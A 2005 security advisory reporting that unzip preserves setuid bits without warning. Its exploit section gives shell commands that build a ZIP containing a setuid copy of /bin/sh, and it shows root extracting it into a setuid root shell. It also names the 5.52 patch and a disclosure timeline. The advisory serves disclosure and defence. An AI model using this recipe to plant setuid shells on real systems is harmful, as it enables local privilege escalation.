7a69Adv#22 - UNIX unzip keep setuid and setgid files

[Albert Puigsech Galicia <ripe () 7a69ezine org>]

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       7a69ezine Advisories                      7a69Adv#22
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  http://www.7a69ezine.org                            [26/01/2005]
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Title:        Unzip keep setuid and setgid files

Author:       Albert Puigsech Galicia - <ripe () 7a69ezine org>

Software:     Unzip

Versions:     >= 5.51

Remote:       No

Exploit:      yes

Severity:     Low/Medium

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I. Introduction.

 UnZip is an extraction utility for archives compressed in .zip format. It's 
compatible with PKWARE's PKZIP and PKUNZIP utilities for MS-DOS. The primary 
objectives have been portability and non-MSDOS fuctionality. More info about 
unzip on http://www.info-zip.org/pub/infozip/UnZip.html.



II. Description.

 The unzip UNIX functionality allow you to maintain file permisions into 
compressed files, and of course that includes the setuid bit. Because it does 
not show a warning message before unpacking a setuid file is posible to create
a malicious ZIP file that creates an executable setuid.



III. Exploit

 It's realy easy to test this vulnerability. You can create a malicious ZIP 
file following this example:

 $ cp /bin/sh .
 $ chmod 4777 sh
 $ zip malicious.zip sh


 When another user (including root) unpacks the file, a setuid shell file will 
be created without any warning, as you can see here:

 # id
 # unzip malicious.zip
 Archive:  malicious.zip
  inflating: sh
 # ls -l sh
 -rwsrwxrwx  1 root root 705148 Jan 16 17:04 sh


 Of course ye need a local account on the system to execute the file, so it's 
not a remote vulnerability.




IV. Patch

        Upgrade to unzip 5.52.
 

V. Timeline

12/01/2005  -  Bug discovered
16/01/2005  -  Vendor contacted
21/01/2005  -  Vendor response
25/01/2005  -  Vendor patch provided
28/02/2005  -  New versión published
28/02/2005  -  Advisor published



VI. Extra data

 You can find more 7a69ezine advisories on this following link:

    http://www.7a69ezine.org/avisos/propios [spanish info]